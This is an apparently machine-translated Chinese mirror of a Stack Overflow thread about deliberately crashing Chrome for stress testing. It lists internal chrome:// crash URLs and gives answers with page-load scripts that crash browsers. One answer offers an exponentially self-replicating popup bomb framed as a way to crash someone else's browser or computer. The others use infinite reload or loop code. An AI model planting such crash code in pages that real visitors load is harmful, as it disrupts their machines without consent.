首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Chrome浏览器如何崩溃?

Chrome浏览器如何崩溃?
EN

Stack Overflow用户
提问于 2016-11-01 19:15:20
回答 13查看 58.2K关注 0票数 10

出于测试目的,我需要一种快速简便的方法来崩溃我的选项卡/浏览器。我的压力测试我的网站,这些网站是宝贵的谷歌Chrome。

  • 铬://崩溃
  • 铬://杀死
  • 铬://挂
  • chrome://退出
  • 铬://重新启动

这些网站可以在chrome://about找到。另一个站点( chrome://about上没有列出)是chrome://inducebrowsercrashforrealz- -它将崩溃Chrome的顶级进程,包括所有浏览器窗口中的所有选项卡和所有打开的应用程序)。最初,我试图查看在发生崩溃时保存了哪些数据。例如,我们表单中的textarea在重新启动时仍然是填写的。

但是,只有当我手动在浏览器中输入URL时,这些URL才有价值。使用这个问题(以及其他许多我没有链接的问题),我证实了我的怀疑--你不能

  • 重定向到chrome://页面
  • 链接到chrome://页面
  • 以任何其他方式从chrome://页面请求信息(即。( iframe)

Link to chrome:// url from a webpage

这带来了一个问题--当用户到达表单的某个特定部分时,我希望导致浏览器崩溃(chrome://inducebrowsercrashforrealz)。是否有任何脚本会导致浏览器崩溃?

我已经尝试过while循环,但是即使它们是指数级的,它们也需要一段时间来关闭页面,并且不会影响浏览器。我希望崩溃要么是瞬间的,要么消耗足够的内存让浏览器冻结。

EN

回答 13

Stack Overflow用户

发布于 2017-03-13 22:10:28

警告,这将使任何浏览器或使用PopUps攻击的计算机崩溃。

如果你想撞毁某人,电脑或浏览器

使浏览器或计算机崩溃的PopUp代码

代码语言:javascript
复制
<script type="text/javascript"> 
function CrashAndBurn(url) { popupWindow = window.open( url,'popUpWindow','height=181,width=666,left=3,top=222') }
</script> 
<body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">

如果你真的想让他们的浏览器真的挂掉,你可以使用这个弹出窗口--它将继续上传2多个弹出窗口,每个弹出窗口多2个弹出页面,这意味着2x2弹出窗口第二次出现4个弹出窗口,然后是8、16、32、64等弹出窗口。它使就像一种病毒,它将在浏览器中传播PopUps,在屏幕上填充弹出窗口,直到计算机或浏览器崩溃并挂起并关闭,只是.

注意:你没有从我那里听到这个,好吗.哈哈。我建议这只是一个对朋友的盗版笑话,而不是一个在线网页。

如果您想让它更快崩溃,那么只需添加更多的JavaScript:CrashAndBurn(self.location,'_blank');到onload主体,如下面的示例x4:

代码语言:javascript
复制
<body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">

它将加载4个弹出窗口,埃曼斯在4个弹出窗口之后,它将加载4x4,这意味着18个弹出窗口,然后是18x4,即72,72x4,即288个弹出窗口,然后288x4,即1152个弹出框,仅在几秒钟内就有4轮弹出窗口。

如果您想成为极端恐怖的,那么请使用x10示例:

代码语言:javascript
复制
<body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">

你有8个弹出窗口,其中10个是10x10=100弹出窗口,然后是1000,000个弹出窗口,保证快速崩溃。

编辑您可以使用EDIT循环而不是复制粘贴10次.它会短得多。

票数 5
EN

Stack Overflow用户

发布于 2021-05-07 15:49:22

代码语言:javascript
复制
<!DOCTYPE html>
<html>
<body>


<h2>Crashing Now</h2>


<p>Hit Ok To Crash</p>


<p id="demo"></p>


<script>
onbeforeunload = function(){localStorage.x=1};


if(confirm("Do you REALLY want me to crash your browser?")){
  setTimeout(function(){
    while(1)location.reload(1)
  }, 1000)
}
</script>


</body>
</html>

票数 2
EN

Stack Overflow用户

发布于 2016-11-01 19:20:44

代码语言:javascript
复制
for(var i = 0; i === i; i++) {}

应该使当前窗口崩溃

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/40367087

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档